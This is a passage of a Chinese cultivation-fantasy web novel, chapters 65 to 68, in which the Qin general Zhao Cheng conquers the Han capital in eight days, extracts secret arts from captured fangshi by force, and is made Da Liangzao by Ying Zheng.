赵诚提着她,让她面对自己,而后咧嘴一笑。
雪幽这下再也绷不住了,嘴一撇,哇的一声就哭了出来。
“娘亲救我……”
“哈!还是个奶娃娃。”
赵诚乐了,雪幽却哭得更惨,感到又羞愤又绝望又害怕。
没什么怜香惜玉,赵诚伸手就去捏碎雪幽手脚。
雪幽吓得往后一躲,“别!”
当此之时,几道泛着绿芒的金针激射而来,直逼赵诚后脖颈。
竟是悄无声息。
嗤!
金针刚靠近赵诚身体三尺不到,就如陷泥沼,停滞不前,随后势头消散,掉落在地。
赵诚瞬间回眸,凶眸锁定一名隐藏在阵中的假士卒。
脚尖一踢石子,石子电射而去,噗的一声射穿那男子肩膀,男子顿时翻倒在地。
他咬牙看着赵诚,喝道,“血屠!她是雪家圣女,你放了她,有什么冲我来!”
“哦?”赵诚低头看了看手上提着的少女,笑道,“雪家……是什么东西?”
“很吓人吗?”
第65章 血屠入韩都,让寡人先走!!
雪幽和封不救同时脸色大变。
此人难道不是方士,竟然连雪家都不放在眼中?
雪幽眼眸一立,“你……”
她刚想说些什么,却见赵诚又伸出手来要断其手脚,顿时惊呼道,“别!我教你封窍之法!”
咔!
话说得太慢,雪幽右手腕骨头都被捏断了,疼得啪嗒啪嗒掉眼泪。
“你……太过分了……”
她委屈又悲愤,话音出口却怯怯懦懦,实在是眼前煞神太凶,她不敢大声说话。
赵诚差点气笑了,“过分?”
不是你要杀我的时候了?
雪幽敢怒不敢言,抬眸楚楚可怜说道,“你断我手脚无用,不如封窍之法方便,封了窍穴,我与弱女子无异,跑不掉的。”
然而媚眼抛给瞎子看。
赵诚心中无女人,哪管她楚楚可怜,再去断其手脚,“废话真多。”
雪幽吓得连忙俯身贴耳,一口气说出封窍之法,如此秘传就这样交给了赵诚。
赵诚此前吃的悟性丹作用还在,封窍之法也不算难,一听便会。
他那真元不论是数量和质量,都远超这秘法门槛。
于是搭手在雪幽身上,真元一冲而入,摧枯拉朽般碾压了雪幽体内的真元。
真元一入,他顿时发现雪幽体内与他不同,重点修炼的经脉和窍穴,集中在头面部,其次是胸腹。
同时真元运转间,也有浓浓观星入脉的痕迹。
赵诚真元很快封死了雪幽体内运转的窍穴。
因其真元精纯至极,如同精钢巨关一般横亘其中,雪幽体内真元丝毫动弹不得,确实已经和寻常女子无异。
当此之时,雪幽也感受到了体内雄浑精纯的赵诚真元,不由惊的双眸瞪大,小口微张。
这是人能修炼出来的真元强度?
这家伙到底是什么怪物!?
莫非真是隐世千年一朝出山的老妖怪?
原本还想着家中长辈能来救她出去给她报仇的雪幽,此时开始有点悲观了。
赵诚封了她的窍穴,依旧随手扔进己方阵中,与那方习扔到了一起。
雪幽噗通落地,压到了断手,疼得掉了眼泪。
她在地上瑟缩成一团,委屈至极。
但她也终于意识到,不论是雪家圣女的身份,还是她不俗的美貌,都动摇不了赵诚分毫。
这煞神留她一命,只是因为她展现出来的阴阳术。
畜生啊!
几名义士见赵诚辣手摧花,顿时心都碎了。
封不救更是睚眦欲裂,恨赵诚入骨,“血屠,你怎能如此!?有什么大可冲我来!”
“冲你来?”
赵诚走向封不救,“你怕是有些误解,连你在内,还有那边那两个想跑的,一个都跑不掉。”
他倒提大戟站在封不救身前,居高临下之际,雄武身躯洒落无边阴影笼罩了封不救,凶眸睥睨。
“不过,你有什么好活儿,能让你活命呢?”
当此之际,杀意如潮。
死亡铺面而来,饶是封不救见惯了生死,也是从头到脚一片冰凉。
只是一念之间,便是生死两隔。
他想着士可杀不可辱,必须痛斥赵诚,留下英名在人间!
然而喝出的硬气话到嘴边,却突然变成了,“我是医家子弟,通神农术!!能识天材地宝!”
“呵!”
赵诚轻笑一声,挥戟拍断其手脚,而后一拨,封不救就被扒拉到了雪幽旁边。
他剧痛难忍,心道你不是会封窍之法了吗,怎么还来断我手脚?
他郁闷至极,又是灰头土脸,埋着头,丧失了所有的精气神。
他曾如何看不起暴秦,如何痛斥血屠,如今折了脊梁,就有如何悲哀。
自己竟匍匐屈膝于暴秦,于血屠?
他不敢去看雪幽,将脸埋在被鲜血染红的土地上,装死不动。
“那边两个!”
赵诚轻喊一声。
远处鬼鬼祟祟想跑的御鸟人和入梦士顿时僵直不动。
而后艰难地挪着脚步凑到了赵诚面前,二话不说就跪了。
“将军,小的擅长御鸟,能帮将军养鹰隼。”
“将军,小的擅长入梦,能进别人的梦……”
嗤!
入梦士脑袋直接掉落。
“入梦有个屁用!谁想梦到你?”
鲜血洒了御鸟人一头一脸,让他浑身抖如筛糠。
“养鸟?还算有点用。”
“也没什么别的本事,留你手脚,去那边呆着。”
鸟人如蒙大赦,屁颠屁颠的就主动来到了封不救等人身边蹲好。
赵诚再抬眸,身前韩军已经跪了一地,如此凶威,实在不是人力所能抗。
远处城头上面的韩军,则是面如死灰,双眸无神,俨然丧失了所有斗志。
一群老弱病残,从百姓里面强征来的百姓,赵诚没有杀他们的兴趣。
于是倒提大戟走向城下,吐气开声。
“开门不杀!”
城头上下敌军浑身一颤,面面相觑一眼,有人立刻想去打开城门。
申犰却不知道从哪里钻上了城头,冒了出来喝道,“不能开!”
这下被赵诚逮住了。
刚刚冒头,噗嗤一声。
一箭就插在了他的脑门上,直接栽倒下了城头。
刚钻回去,又掉下来了。
“多此一举。”
赵诚扫了他一眼,再次持戟策马走向城门。
六千轻骑紧随在他身后,杀意凛冽。
城内守卒胆战心惊,知道要是被赵诚杀入城中,大家连投降的机会都没有了。
至少外面那些降卒,没有被那煞神杀掉。
或许他们也可以投降!
“怎么办?血屠阎罗要进城了!”
“他要是杀进了城,大家都要死啊!”
“拼了吧!”
“拼个屁啊,咱们这点残兵,能挡得住血屠?”
“快开门迎将军进来,今天开始老子就是秦人了!”
“我去你娘的……”
见到赵诚已经将至城门之后,有人意动,向着门关靠近,想要打开城门,却被城门守将一刀斩了!
“血屠入城,全军尽死!”
“射杀血屠,死守韩都!”
城门后面,有将领嘶声大喊!
“放箭!”
同时也有将领大喊,“别放!”
可是如此混乱的时候,士卒已经无从分辨真假,有一个放箭的,就都无从回头,于是纷纷开弓射箭。
箭落如雨之际,有秦军轻骑被射落马下。
赵诚脸上出现了冰冷的笑意。
即将攻灭韩都,得灭国之功,他心情不错。
此战也没必要屠城,本想发回慈悲,但架不住有人找死。
他一甩缰绳,奔马如雷,如离弦之箭一般撞向城门。
手中方天画戟一挥,顿有轰隆之声,有若雷霆炸响。
那城门一触即溃,崩碎成无数碎片,好似大刀利刃,将城门后面的守军杀伤一片。
赵诚风一般冲入,目光瞬间锁定一名虎背熊腰的城门守将,大戟扫了两下,已经斩杀一片士卒,冲到这将领身前。
“就是你要射杀本将?”
将领瞳孔骤缩,大戟已经迎面而来。
他以为自己做好了心理准备,但当赵诚几息之间攻破城门杀穿军阵,出现在自己眼前的时候,他发现自己还是狭隘了。
从城门之外,到自己身前。
只是几个眨眼的功夫啊。
那大戟已经到了他的脑袋上。
我都城城门,是纸糊的不成?
最后一个念头闪过,他已经被生劈两半。
赵诚没有多看他一眼,化作剑锋,率众杀入城中!
城中大乱,守卒们后悔已经来不及了,赵诚连下跪的机会都没给,一路杀上前去。
只有一些早早丢了兵器的老弱病残没杀,其余皆斩!
一路追杀入城中,再次掀起腥风血雨。
城中悲呼四起。
“血屠入城了!!”
“救命!”
“阎罗索命来了!”
“躲起来!不要露头!被看一眼就会死!”
“完啦!!完啦!!”
惶惶悲呼传荡四方,无数关门闭户的百姓惊慌至极,躲在家中为数不多能够躲藏的地方,大气都不敢喘一口。
马蹄声穿城而过。
全城上下,所有人都是直冒冷汗。
诸多大臣带着门客家眷,以及收拾好了的家当,拥挤着朝着另一边的城门逃去,想要趁乱逃出城中。
韩王安甚至顾不得收拾东西,在城破之前,已然带着一群宫廷侍卫,当先逃向另一边的城门。
但此时,身份已经不再重要。
一些豪绅甚至不愿意给贵族让路。
大臣更是不让君王。
乱做一团之际,宫廷侍卫竟然和大臣护院打成一团。
韩王安急得跳脚,远处的马蹄声急响,好似催命符,每一声都如在其心脏上擂鼓。
“混账!!混账啊!尔等是想篡位不成!让寡人先走!!”
丞相丝毫不让,一边命人往前冲,一边将韩王安挤在后头。
嘴里也不闲着,“陛下!此举不妥!我等肱骨之臣还在一日,陛下才是国君,我等肱骨之臣死了,陛下才是真正亡国!不如让臣等先走!”
“陛下,臣以为丞相说得极是!”
韩王安气得脑门子都要炸了,都他娘的到这个时候了,还在搞这一套。
我韩朝上下,钩心斗角诡辩这么多年,还没斗够吗?
要他娘亡国了,还玩这个?
“尔母婢也,卫尉何在,给寡人把他们砍了!”
“陛下,卫尉死在城头了!”
韩王安眼前发黑了,“宫廷侍卫,把他们都给寡人宰了!”
“宰了!”
丞相看向韩安身后,脸上终于出现惊惧之色,“快走,快走!!”
“现在知道怕了……”韩安得意一笑,却突然察觉不对。
这马蹄声太快,何时竟到了背后?
他回头一看,脸色顿时苍白如纸。
只见那雄武少年高坐马上,血甲如山,倒提辉光流转的霸烈大戟,浑身煞气腾腾。
其鬓角有几缕染血黑发垂落,更衬得面容英武霸烈,一双凶眸,正饶有兴趣地看着这边,君王与大臣夺路一幕。
笑得意味不明。
第66章 秘传分支,丹田所在
见到赵诚出现,诸多王公贵族顿时惊惶起来,争先恐后地向着城门拥挤而去。
“杀上一些,让他们老实点。”
赵诚下令,骑兵们顿时上前一冲而入,一下子砍死了好几个王公贵族,血溅长街之后,场面顿时安静了下来。
韩安的脸色越发苍白,突然看着前方的丞相喊道,“陛下,老臣对不住你啊。”
丞相浑身一个激灵,喊谁陛下呢?
“陛下,您这是折煞老臣了,臣怎敢被您叫做陛下?”
韩安一边叫着丞相陛下,一边往大臣人群里面扎。
赵诚顿了顿大戟,地面都颤了一颤,“韩王,省了吧。”
韩安脑袋一缩,脸上涌现出了绝望。
他突然抓起一个千娇百媚的宠姬,推到赵诚马前,脸上挤出笑容来,“赵将军,此女是我宫中最为美貌娇嫩的宠姬,如今献给你如何?”
赵诚看了看这宠姬,楚楚可怜的样子,美貌异常,掐一把好似能够掐出水来。
他轻笑一声,大戟一挥,将美人劈了。
“区区美色。”
韩安惊骇得脸色发白,又心痛不已,但为了保命还是说道,“国库之中尚有黄金珠宝无数……”
赵诚大戟将其挑起,挂在空中。
韩安浑身抖若筛糠,大叫道,“上将军,留寡人一命!韩公主予你做妾如何?”
人群之中,一名十六七岁的少女迈着小步,越众而出,看着国色天姿,贵气不凡,只是侧着头咬着唇,不敢抬头看赵诚一眼。
赵诚只看了少女一眼就不再看,“退下吧,本将也没说要杀了他。”
“冯全,带人把这些王公贵族绑了,送去王宫之中看管,谁有异动,立斩不待。”
此时蒙恬已经率军清扫残兵,将韩都彻底占领。
接下来,就是核验军功,派人传急报回秦。
然后由秦王亲自派遣大臣来这里转化民生,推行秦制,将韩国彻底转化成为秦国的属地。
这些韩国的头脑人物,在这个过程中多少都是有些用的,提前杀了反而会导致各方混乱。
“是,将军!”
冯全浑身是伤,却依然神采奕奕,带着诸多将士,上前将这一群王公贵族全都绑了起来,而后看押着离开。
这些往日里面作威作福的贵族名流,如今一个个胆战心惊,听话至极,如同一群被狼看管的羊羔,顺从地向着王宫走去。
赵诚则是挑着韩王在城中晃了一圈。
城中所有还心怀侥幸的残余势力,心理防线瞬间被其摧毁,没过多久,整个韩都新郑,已经完全被赵诚一部占领。
一些提前投降的俘虏,则是收敛了兵器盔甲,关押在大营之中。
至于那些强征来的老弱病残,则是直接放归城中。
韩王安被悬挂在城中高台之上示众,丞相和几名大臣首脑人物,则是被挂在他旁边。
这一下,大家处境差不多,终于不需要再钩心斗角了。
赵诚如今还需要镇守韩都一段时间,等王令和派遣过来的大臣来接管韩境上下。
于是他干脆住在了韩国王宫之中,找来了韩王的御厨,给他们做饭吃。
在这期间,诸多王公贵族似乎看到了机会,拼命朝赵诚进献美人财宝,甚至想要将家中嫡女献给赵诚,想让嫡女给赵诚吹一吹枕边风。
被赵诚砍了几个之后,终于老实了下来。
秦军规严厉,而且以赵诚军功,根本也不差这点东西和美人。
相比较之下,他反倒对那几个方士更感兴趣。
于是叫人将那几个被关押起来的方士提了过来,开始审问。
最先审问的,当然是脊梁已经断了的封不救。
屈服过一次之后,封不救的心态已经转变,似乎是自暴自弃了,对赵诚越发谄媚。
“将军有何吩咐?”
赵诚坐在韩王的王位上,依然身着大铠,威武霸烈,低眸俯视封不救。
“先介绍一下自己。”
“小的叫封不救,医家子弟,身怀神农术,有悬针妙法,妙手回春之能,也能辨识天材地宝,炼制丹药……”
“我看你也有运用元气之法,神农术中,也含方士修炼之道?”
“神农术中,有阴阳五行、精气之理,入门基础,就是辨认体内经络窍穴,与天地规律相合。所谓阴阳者,天地之道也,万物之纲纪,变化之父母,生杀之本始……”
赵诚静静听着,觉得倒也合理。
古时道医不分家,医家子弟擅长医理,而且能辨认天材地宝,修行起来确实事半功倍。
不过这家伙看着战力不怎么样,照那已经挂掉的剑客都差远了。
好在这家伙也有些用处。
赵诚自己对于经络窍穴一窍不通,全靠悟性丹提供的强大悟性,以及推演摸索,才能摸出一条修炼的路子来,但直到如今,他也只是以真元填满了冲脉窍穴。
其他经脉上面的窍穴,还没有摸到一点地边。
干脆,赵诚将自己不懂的东西,都问了出来。
封不救也不敢胡说八道,一一如实作答,越答他越是疑惑。
怪哉!
眼前这煞神怎么什么都不懂?
这种情况下,他是怎么修炼到这样恐怖的地步的?
一个连经络常识都不怎么了解的家伙,却将他们合力制造的杀局随手破掉,这事情光是想想,就觉得天方夜谭!
封不救心中越发挫败,对赵诚反而越发崇敬。
渐渐知无不言言无不尽。
赵诚如今悟性超群,将他说出来的知识尽数领悟,发现医家也分各种支脉,眼前封不救就是属于方医一脉,或者说是巫医,除了精通经络五行之理以外,这家伙还会点祝由术。
而此时的医家,都是秘传,不论是药方还是医理,都是有传承的,以师徒相授、家族世传为主。
封不救主要是家族世传。
他所学的经络运行之法,大多与医理有关,对应自然规律,符合五行运转。
与赵诚摸索出来的东西还不太一样,而且不偏向战力。
赵诚学了一些经络和窍穴所在,以及各自作用,就不再询问。
而是转而问起云梦泽和雪家的情况。
“云梦泽方士属于庄子一脉,主张天地与我并生,而万物与我为一,喜欢坐忘和心斋,以天人入道,所以云梦泽多隐士。
云梦子的传承,在云梦泽之中也算是比较有名的一支,很少人见过云梦子,不过我父亲说,百余年前就有他的传闻。”
“至于雪家,也是秘传阴阳术的大族,传世足有数千年了,据传在伏羲时代,就有了阴阳术的雏形,雪家鼎盛时期,甚至影响商周王朝走向。”
“其家族擅天文、历法、占卜、咒印,甚至是咒杀之术,据说阴阳术大成者,能够预知天命更替。”
赵诚失笑,看来雪家也没什么能人啊。
能预知天命更替,还敢放任自家后辈来抵御大秦?
“除了这些,还有什么方士传承?”
封不救想了想,“据我所知,还有稷下学宫的黄老之学,因道全法,法家也有方士传承,这一支传承很多,许多地方都有其门徒。”
“儒家养浩然之气,鬼谷子的养志之法……”
赵诚如今终于算是对方士有点了解了,于是命封不救去王宫的医房制作伤药,而后又唤人提来了方习。
方习的恢复力也很是强大,被赵诚打断了脚,此时却已经能够缓慢行走。
见了赵诚,他神色复杂,却依然十分硬气,“要杀便杀,休想从我这里获取一丝传承!”
他被关押的时候,就已经想到了赵诚要什么了。
这太明显。
赵诚体内真元如海,但那真元运用的却像是狗屎一样,属于是坐拥宝山而不会用。
但也正因如此,方习才更不可能将传承泄露给赵诚一丝一毫。
这家伙没有运用之法,战力已经如此恐怖。
若是稍微学会了点皮毛,就成了天大的麻烦。
师父不愿下山,这天下还有何人能制他?
赵诚也不以为意,这等秘传,他也没打算随随便便就问出来。
有悟性丹的辅助,以及寿命推演的功能在,只要给他一些信息,他自然能够推演出来一些东西。
赵诚缓缓站起,几步来到方习身前,大手一张按在了方习的脑袋上。
真元顿时大海倒灌般涌入,根本不顾方习的死活,一瞬间几乎冲爆了方习的经脉。
方习瞬间痛苦至极,咬牙想要反击。
但那真元实在恐怖,他没能提起一丝一毫的抵抗之力,才积蓄出来的少许真元瞬间就被冲散击溃。
赵诚以真元肆意游走其经脉之中,观其经脉开拓痕迹,又卷入各个窍穴之中,将其多年修为尽数碾压摧毁。
不多时,他对于方习的真元运转和窍穴开拓已经了然于心。
但让赵诚意外的是,这家伙竟然开辟了丹田?
第67章 灭族之兆,八日灭韩惊咸阳!
方习的下腹部,有一个比窍穴还要大许多倍的容纳真元之所。
虽然他真元不多吧,但是确实有这么个所在,能够总领全部窍穴和经脉,让真元运行形成了一个整体。
这让赵诚越发确信自己走的路有问题,这方士一共就修炼出那么点真元,就开辟出了丹田。
自己搞出这么多真元,也没找到开辟丹田的办法。
不过他也找到了一些门道,真元御使之法,似乎与十二正经的运行线路有关。
如此一来,只待投入寿命推演,用不了多久,御使真元之术他就能学会。
不过具体的修行之法,还是一知半解,也不知道他们这丹田是怎么开出来的。
随着赵诚的探查,方习则是身体多处经脉接连爆裂,窍穴崩碎,丹田溃散,不但修为毁于一旦,人也已经半死不活。
赵诚松开手,方习瞬间瘫软在地。
“你没用了,感谢赠法,我会派人送你回云梦泽。”
丢下一只饵,看看能不能从云梦泽钓条大鱼出来。
赵诚又让人提了雪幽来。
雪幽目光幽幽怯怯,面对赵诚既愤怒,又忌惮恐惧,于是就变成了幽怨。
赵诚开门见山,“我要你的观星入脉之法。”
雪幽顿时坚决反对,“不可能,除非我死……”
赵诚指了指地上还在瘫着的方习,“想好再说。”
雪幽低头看向云习,顿时瞳孔一缩。
她传给赵诚的封窍秘法,自然知道赵诚对方习做了什么。
方习直接成了废人,生不如死,自己要步他后尘?
一瞬间,她的额头冒出汗水来。
可家族秘传,怎么可以交给外人?
若是传出去了,她就是千古罪人。
雪幽咬着嘴唇坚决道,“家族秘法不可能给你,大不了你杀了我,家里自然会为我报仇!”
赵诚眉峰微挑,好笑道,“报仇?”
“不需要他们来找我报仇,之后我自会去找他们。”
雪幽警觉,“你要做什么?”
赵诚摊开手掌,“如你所说,报仇。”
“我秦国律法都是连坐,你要杀我,我就杀你一家。”
“你不说倒也没关系,之后我会杀上雪家,一个个的问过去。”
“呵,秘传?传得下去才叫秘传!”
雪幽心头一凉,有你这样报仇的?
果真是个屠子!
她定定看着赵诚,“真当我雪家无人耶?你敢去必死!”
赵诚笑道,“那就杀进去试试。”
雪幽终于发现这血屠不是在吓唬他。
他真的打算杀上雪家,强取秘法!
而且底气甚足。
想到赵诚如今这个年纪,就已经有如此修为,假以时日,雪家哪有人是他的一合之敌?
她又惊又怒,“你这是强盗行径!”
赵诚根本不在意,“强盗?别忘了,是你们先来杀我的。”
“成王败寇罢了。”
“既然你不给,那你现在也没什么用了。”
赵诚探手抓向雪幽头颅,这一刻,雪幽好似看到了自己与方习一样的下场。
死亡将至,雪幽突然有些恍惚,眉心暴跳之际,双眸好似透过时空,看到了雪家迎来灾劫,四处血光。
这并非臆想,而是其修习阴阳术多年的感应,感应到了灭顶之灾。
“等等,我传!”
……
此时,雪家秘地之中,观星高台之上。
雪家族老突然眉心暴跳,他骤然睁大双眼,有星辰血光一闪而逝,随后眼中尽是惊恐之色。
“血灾大劫!?”
他拿出占星罗盘,一番结印掐诀,瞪目观星。
白虎星宿之中,一颗杀星爆发血光,好似要落入雪家秘地之中!
而这颗杀星,竟与圣女所属星辰有关。
“荧惑当头,杀星入命!”
“事关圣女?”
他连连卜算,耗尽心血,更是大惊失色。
“这丫头怎么跑去抵御秦国了?还惹到了那杀星!”
雪家族老一阵心惊肉跳。
数年之前,雪家老祖宗还在世,他夜观天象,发觉秦国国运煌煌,大有吞天盖地之势,又于这煌煌大势中,窥见一角锋锐至极的血芒。
紧接着,他尝试卜算细节,却只推演了片刻,就突然暴毙。
只留遗言:雪家不许参与诸国之战,更不可触及大秦锋芒。
后来雪家多名后辈英杰也曾尝试占星大秦国运,隐隐间都曾触及某种大恐怖,于是对此讳莫如深。
哪里想到,族中这一辈天赋最高的圣女,刚刚跑下山两日,就撞上了那杀星。
正值鼎盛的雪家,竟瞬间迎来了灭族之兆!
“真有如此邪门?”
雪家族老惊疑不定,连忙召集家族之中的头脑人物,结果众人刚到,心中那警兆又突兀地散去了。
让他丈二和尚摸不着头脑。
他将情况一说,众人都是吓了一跳,连连占卜。
却发现圣女属星不但没有暗淡下去,反而越发炽盛,只是沾染上了丝丝血色,看起来妖冶了很多。
众人不解,族老却长长出了口气。
“看来这一关是过去了。”
“那杀星不在星运之中,血灾突如其来,让去寻圣女的人都回来吧,不要冲撞了那杀星,有些因果沾染了,恐怕是躲不开,甩不掉了。”
就在此时,那警兆又来!
众雪家高层都是心惊肉跳,似有大灾即将降临。
于是一个个拿起星盘拼命占卜推算,却始终摸不到其中细节,急得抓耳挠腮。
……
“我传可以,但你得拜我为师!”
雪幽清脆地说出这句话,顿时感觉浑身一凉。
赵诚目光奇怪的看着她,嗤笑一声,再次探手按在了她的脑袋上。
真元一涌而入,雪幽经脉顿时被无尽精纯真元填满,而后瞬间鼓胀,经脉极近爆开,同时心中警铃大作。
那种灭顶之灾的感觉又来了。
她艰难开口,“不……不拜也行。”
赵诚的真元已经冲溃了雪幽一个窍穴,直奔下一个窍穴而去。
如此探寻,虽然无法摸清楚完整的雪家观星入脉之法,但也能搞清楚一角,花时间再慢慢摸索便是。
他可没有时间,和这女人打哑谜。
发现赵诚毫无收手之意,雪幽彻底慌了,她不怕自己身死,但是预感之中的灭顶之灾实在清晰,那是雪家千年传承毁于一旦的征兆。
她传法,或许会成为千古罪人。
但是不传,连罪人之名可能都不会传下去了,因为家族都将断绝。
“求你!”
“我愿拜你为师……”
赵诚不为所动,谁要收徒?
“我愿……服侍左右……”
赵诚不为所动。
“雪家……助力……”
直到雪幽艰难地把整个雪家押上赌桌,赵诚才堪堪停手。
雪家传得这么玄乎,或许还有点用。
“你能代表雪家?”
雪幽瘫软在地,大口喘着粗气,脸色苍白如纸,“我是当代圣女,阴阳术天赋最高者,假以时日,可做雪家族长。”
“假以时日?”
“若现在让我取信说明情况,不需要太久,我相信娘亲会同意。”
她很确定自己感知到的灾劫是真实的。
既然是真实的,娘亲没道理推算不到。
这家伙实在太凶了,完全不想和自己讲什么条件,更没有一丝怜香惜玉的心态。
雪幽甚至有种感觉,面前的少年更倾向于去灭掉雪家。
如今和她多说这几句,只是因为这样更方便快捷,不需要去查清雪家所在,再长途奔袭屠戮一空。
若是雪家就在附近,他可能不会和自己多说一句,提着大戟就杀过去了。
想到这里,她再不敢有一丝骄矜,小心翼翼看着赵诚,而后乖顺的开始讲述雪家观星之法。
这阴阳术传承数千年,其中光是星理一部,就是浩如烟海。
就算雪幽信手拈来,赵诚悟性超群,一时半会也讲不完冰山一角。
好在长夜漫漫,赵诚等王令也是百无聊赖,就慢慢听她讲下去。
如此,他坐在韩王的王位之上,雪幽恭敬立在一旁,清幽的声音轻轻回荡在大殿之中,时间静静流逝……
……
章台宫大殿之上。
文武百官分立两侧,嬴政的朗笑声回荡着。
啪!
军报拍在案台之上,嬴政长目如电,神采飞扬环视群臣。
“将军赵诚,率八千轻骑,奔袭六百里,连破数城,八日灭韩!”
“诸卿,如何看待此功?”
哗然之声响彻大殿,群臣面面相觑,刚刚还在奇怪秦王为何大笑的他们,此时都是惊为天人。
“竟有此事!?”
“八日灭韩,怎么可能?”
“是那赵诚?”
“他说旬日破韩都,竟然只用了八日,就灭韩了!”
“听说此前蒙武将军军中出了个少年猛将,战功赫赫,有孤身破城之勇,就是此人?”
“正是,这少年入伍不过月余,已经靠军功封右更之爵,是我秦国新贵!”
“咸阳已经将此人传得神乎其神,没想到竟然确有其事!”
“怪不得前几日捷报频传,原是大王派此人去攻灭韩都了,如此势如破竹,当真神将!”
此前赵诚军功封爵,都是一众高层和嬴政批准裁定。
不论是攻韩之战,还是封爵之事,都没有什么争议,不需要通过朝政议论。
所以许多秦国大臣,都只从传闻中听过赵诚之名,因传闻太过夸张,他们自然也是不以为意。
却没想到,今日大王突然带来了军报,放出如此惊天消息——
八日灭韩!
这太快了,攻克南阳才刚刚多久?
那些新委任的郡守县令,现在恐怕还没上任吧,韩都都被灭了。
嬴政含笑看着下方群臣的震惊之色,心中莫名一阵舒爽。
他又看了看昌平君,发现昌平君脸色有点不自在,心中更舒服了一些。
嬴政等议论声消散下去了一些,又问李斯道,“廷尉,此功可封何爵?”
李斯回道,“陛下明鉴!臣闻赵诚率锐骑八千,衔枚疾进,八日之间克拔新郑,虏韩王、定颍川。
此役也,风驰电掣,摧枯拉朽,非独破诸侯之壁垒,实乃扬大秦之天威!
夫韩为三晋锁钥,素称劲邦,今王师所指,旬日而亡其国,此非独将士用命,实赖陛下神武烛照。
自此之后,山东列国闻秦师之号,当如狼顾麇惊,莫敢撄其锋锐。
昔商君定二十等爵,大良造为列侯之基,今赵诚以灭国殊勋,正合封此显爵,既彰将士之功,亦示天下——凡为秦效命者,必膺不世之赏!
臣请下国尉府,拟诏封拜,以励三军,以威四海!”
众大臣纷纷一惊。
大良造!
与国尉同级!
月余前还没听闻过这人的声名,如今却已经与国尉同级,这已经不能用新贵来概括了。
这是如日中天,国之柱石!
第68章 封大良造,拜上将军!凯旋回师!
再加上赵诚声威赫赫,此战过后,其余五国将会畏之如猛虎。
大王也会对其无比重视!
如此巨擘,许多大臣都开始想着等他回朝之后,前去抱大腿了。
嬴政大手一挥,“便封大良造,拜上将军。”
他心中则有自豪涌现。
不需要他去破格,赵诚自己杀出来的战功,足以封大良造之爵。
王族之下,至高爵位!
接下来,群臣议事。
“陛下,韩地既定,当依“灭国置郡”之制,于韩故地设颍川郡,治所定于阳翟,臣查韩境北至巩洛,南达颍水,可划十七县……”
这是秦王政时期所灭的第一个国家,此前没有什么范本,所以关于如何治理韩地的事情,大臣们讨论得十分激烈。
有博士官说道,“昔周封子弟,享国八百年,今韩地初定,可否封宗室公子为侯,镇抚其民?”
李斯立刻反驳道,“臣以为不可!昔商君曰利出一孔者,其国无敌。
若复封建,是授地方以兵柄、启分裂之端。
昔韩、赵、魏本为晋卿,封土既大,遂分晋国,
今若封宗室于韩地,异日必成尾大不掉之势。
陛下当效孝公“并小都、乡、邑聚为县”之制”,使天下权柄尽归郡县,郡守县令皆为陛下使指,如此方能振长策而御宇内。”
朝堂之上,不论是楚系外戚势力,亦或者是宗庙势力,客卿势力,法家大臣,都想要在这个时候参上一脚,以此分配利益。
但最终,都被嬴政否决,选择采纳李斯的建议,一如既往地实行秦制。
接下来的讨论就明显顺畅了很多。
“内史腾出身于韩,熟稔韩地民情,可拜为颍川郡守,佩银印青绶,总领郡兵、治民、刑狱三务……”
“十七县县令皆由咸阳直接除授,优先选用曾在巴蜀、河西推行郡县制的“习法吏”。如新郑县令,当选明法善算者,专司户籍整理与律令推行……”
“韩为秦灭第一国,当行秦制,收器籍、正度量、划一文字、编户齐民、徙民实边……”
“……”
嬴政颔首,玉簪冠缨微动,“善!即以颍川为式,着内史腾星夜赴任,诸卿按李斯所奏,各署协理,三月之内必使韩地尽行秦法!”
“即刻命赵诚蒙武一部率军回师。”
想到赵诚即将凯旋回师,嬴政的心情难免有些复杂。
诸多大臣办事效率很高,只是半日之后,內史腾便带着大量的官员前往了韩境。
韩境已经彻底被赵诚打废了,其威名传播甚广,整个韩境的百姓都惊惶其名。
再加上韩王已经被赵诚生俘,各处城池也被蒙武及时派兵驻守,完全占领。
所以一切进行的很是顺利。
王腾即将进入新郑的时候。
赵诚正指挥着一群王公贵族修建城墙,搬运粮草。
这群王公贵族哪里干过这种杂活,一个个叫苦不迭,灰头土脸。
一开始还有人假装不会干,被赵诚杀了几个之后,一个个干得比民夫都好,卖力得很。
一群民夫则是被赵诚哄到了一边,看着一群达官贵人干着粗活累活,只觉得这个世界有点倒反天罡。
赵诚则是大马金刀地坐在城墙之上,一边监工,一边让雪幽讲述星理。
如今几日过去,星理部分他已经尽数吸收,开始学习观星入脉之法,甚至对于占星术也略有涉猎。
其展现出来的悟性,让雪幽为之骇然。
这些东西,就算是雪家天才尚且学习几年才能够勉强领悟的东西,在赵诚这里,不过是几日的功夫,就尽数消化。
要知道,就算是作为雪家当代圣女的她,当初也是为了这些星理而头痛许久,耗费一年有余,才堪堪消化。
这让她越发确认,眼前这家伙就是一个怪胎。
本来还想着,依靠阴阳术的晦涩难懂,拖延一些传授秘法的时间,或许家里能够想到别的办法,把自己救回去。
谁知道,才几日的功夫,阴阳术就被赵诚学走了大半。
现在她讲法的速度,就已经快要跟不上赵诚的领悟速度了。
何其恐怖!
“……雪家阴阳术以修炼神魂为主,食气为辅,神魂强大,才能占星卜算天机,元气充足,才能施印咒杀……”
“……交汇于上丹田的诸脉,是我们修炼的重点,以星辰运转之理对应诸脉运转元气……”
“……当以神庭感应天机星,神庭感应计都,百会感应天枢,太阳感应紫薇……”
“观星入脉已是极难,感应星辰开窍,更是一大天关,就算是有些天赋的,也有可能卡在这里十几年甚至几十年……”
雪幽静静说着,没有一丝一毫的保留。
没办法,前几日家族之中来了信,不但叫回了那些来找她的人,任由她留在赵诚身边。
而且还特意嘱咐:事关族运,谨慎应对,要是没有什么大事,就先不要回家了……
显然,家里面也感受到了那种灭族之兆。
这反倒让雪幽也松了口气,这不怪她怂啊,家里那么多长辈不也怂了。
雪家能传承千年,不是没有道理的。
主打一个能屈能伸。
赵诚默默听着,将能领悟的尽数领悟,有些领悟不了的,则尽数记在心中,准备回去推演领悟。
别人听法一天,那就是一天。
他听一天,回去推演一下,就是几十上百年,学起来能不快吗?
正听着,远处官道之上,有秦国旗帜出现。
而后是大批官员,以及前来驻守的秦国郡县兵。
赵诚合掌笑了起来,“终于来了。”
内史王腾带着诸多官员刚刚抵达城下,就看见城头之上,一名身着将军大铠的少年站起身来。
这少年身材之高大雄壮,坐在那里如同巍然山岳,这一站起,更如擎天之柱,顶天立地。
即使现在不是战时,他身上的腾腾煞气依然直冲云霄。
